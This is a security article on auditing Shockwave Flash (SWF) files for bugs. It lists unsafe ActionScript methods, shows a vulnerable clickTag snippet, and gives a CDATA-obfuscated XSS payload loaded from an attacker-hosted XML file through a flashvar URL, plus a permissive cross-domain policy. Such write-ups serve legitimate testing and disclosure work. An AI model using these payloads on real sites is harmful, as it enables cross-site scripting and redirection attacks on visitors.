0x03c: Hunting Bugs via Shockwave Analysis (Deprecated EOL)
[ DESCRIPTIVE REFERENCE ]
Flash player related vulnerabilities have been notorious in their susceptibility to a vast range of attacks over time. When performing an offensive engagement, whether it's through consultancy, or through external responsible disclosure programs, it is highly recommended that analysis of any Shockwave Flash (SWF) file be performed. While many haven't explored such an attack path, this is a widely known issue. As opposed to deep diving into flash exploitation and the various attack vectors. This article will be focusing on a more generic overview prior to presenting my own findings as a reminder as to how Shockwave Flash (SWF) files can pose a threat, their capabilities and the potential attack path associated with the insecure variations being hosted and exposed to the public domain. SWF files are created through ActionScript syntax, of which, is very similar to JavaScript as both conform to the ECMA-based syntax. Like any other language, failure to properly validate and sanitize user inputs can leave the segment vulnerable to various attacks. Furthermore, ActionScript itself, contains vulnerabilities associated with it, itself, this includes methods rendered ‘unsafe’, such as, but not limited to:[ VULNERABLE ACTIONSCRIPT METHODS ]
externalInterface.call();
getURL();
loadVariables();
navigateToURL();
loadMovieVar();
loadMovieNum();
LoadVars.load;
LoadVars.send;
XML.load ( 'url' );
XML.sendAndLoad ( 'url' );
LoadVars.load ( 'url' );
LoadVars.send ( 'url' );
flash.external.ExternalInterface.call(_root.callback);
externalInterface.addCallback;
AddDLL;
// etc
[ INSECURE GLOBAL VARIABLES ]
_root, _global, _level0
In terms of performing the analysis, SWF files can be decompiled through various tools, a common one being flare. Therefore, exploitation is handled in a white-box mannered approach. Once decompiled a source code analysis can be initiated. There are tools out their which can perform a static-code analysis in an automated manner, however, they often miss many insecurities. Therefore, it is recommended that a more manual approach be taken. Since ActionScript is a straight forward language, only basic knowledge of its structure, methods and syntax is required.
The main objective with the code analysis is to get an overview of the code flow, how variables are handled and if possible, how to manipulate such variables. For example, look for lack of input sanitization, undefined flashvars, use of the mentioned insecure global variables and method calls. If any of the above global variables are declared but remain undefined, then it is likely that the SWF will be vulnerable.
For example, see a vulnerable decompiled source below:
button 48 {
on (release) {
var str = (_level0.clickTag != undefined) ? _level0.clickTag
getURL(str, '');
}
}
The above illustrates a vulnerability pertinent to the clickTag flashvar.
Vulnerabilities that could exist within Shockwave Flash files include; SOME attacks, Content Forgery, Unvalidated Redirects, as well as, XSS. While these typically do not pose a high risk, they are also ideal for use in leverage for payload delivery where the reputability of the FQDN could be utilised to deliver more sophisticated attacks (for example, the delivery of a browser exploit to gain RCE).
In terms of exploiting such vulnerabilities through a cross-domain approach, some vendors incorporate an XML configuration to control the behaviour of the SWF. Therefore, these SWF files may have a dynamic flashvar pointing to a config file on the same server the SWF is hosted on. However, if this flashvar can be controlled by the attacker externally, with a correct cross-domain policy configured on the attacking server, all that is required is to remotely call a malicious XML variation (hosted on an attacker’s server), which in turn, will include the instructions to control the SWF, thus determining its behaviour. The attack vectors associated with this method of exploitation remains similar as to that of the above, however, the methods slightly vary. For example, an XSS payload is incorporated within an XML entity either as a variable’s value, or arbitrarily through the malicious XML via the use of CDATA:[ EXPLOITING VULNERABLE XML CONFIGURATIONS THROUGH CDATA ]
<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
This would then be called via GET in the manner of:
http://example.com/swf/example.swf?xml_path=//attacker/poc.xml
It should be noted that as a precondition, a permissive cross-domain policy needs to be configured:
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>